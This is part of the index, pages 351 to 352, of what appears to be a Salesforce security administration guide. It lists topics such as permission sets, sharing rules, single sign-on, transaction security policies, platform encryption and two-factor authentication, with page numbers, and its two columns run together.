deleting 100, 105, 107 single sign-on 9
desktop client access 15 SSL 11
editing, original user interface 106 timeout 11
enhanced list views 107 TLS 11
login hours 21 transaction security policies 245, 248, 262, 265, 268, 270, 274
login IP address ranges 19–20 trust 2
object permissions 93 user 7, 15
overview page 100 user authentication 9
page layout assignments 103 security check 4
user permissions 81 security risk 4
viewing 100, 105 security token 60
viewing lists 107 Separate organization-wide defaults
overview 140
R Session security 37, 39
real time events 262, 265, 268, 270, 274 Sharing
real-time events 249–250, 252, 255, 257, 260, 262, 265, 268, 270, separate organization-wide defaults 140
274, 322, 332–338 user sharing considerations 132
Record types Sharing model
access, about 89 object permissions and 95
assigning in permission sets 88 Sharing rules
replay detection 208 sharing rule recalculation 131

351
Index

single sign-on 9
Single sign-on
U
User permissions 81
authentication providers 58
User setup
overview 13
activate device 58
SAML 58
change password 10, 55, 58, 64
standard fields 168
change passwords 9
synchronize data 185, 188, 190
changing passwords 61
System permissions 81
verify identity 55, 63–64
T verifying identity 61
Users
Temporary verification code
access 82
verify identity 63–64
object permissions 93
tenant secret 166–167, 181–183
permission set assignments 90
terminology 156, 202
permission sets, assigning to multiple users 92
testing 287
permission sets, assigning to single user 91
threat detection 322, 332–338
permission sets, removing user assignments 92
transaction security 245, 248, 262, 265, 268, 270, 274, 281, 286
permissions 81–82
troubleshoot Bring Your Own Key 198
revoking access 83
troubleshoot Cache-Only Key 209, 212
revoking permissions 83
troubleshoot Shield Platform Encryption 176
trust 2
two-factor authentication 61, 191
V
validation service 176
Two-factor authentication 10, 55, 58, 60, 63–64
verification methods 61
View All permission 94–95

352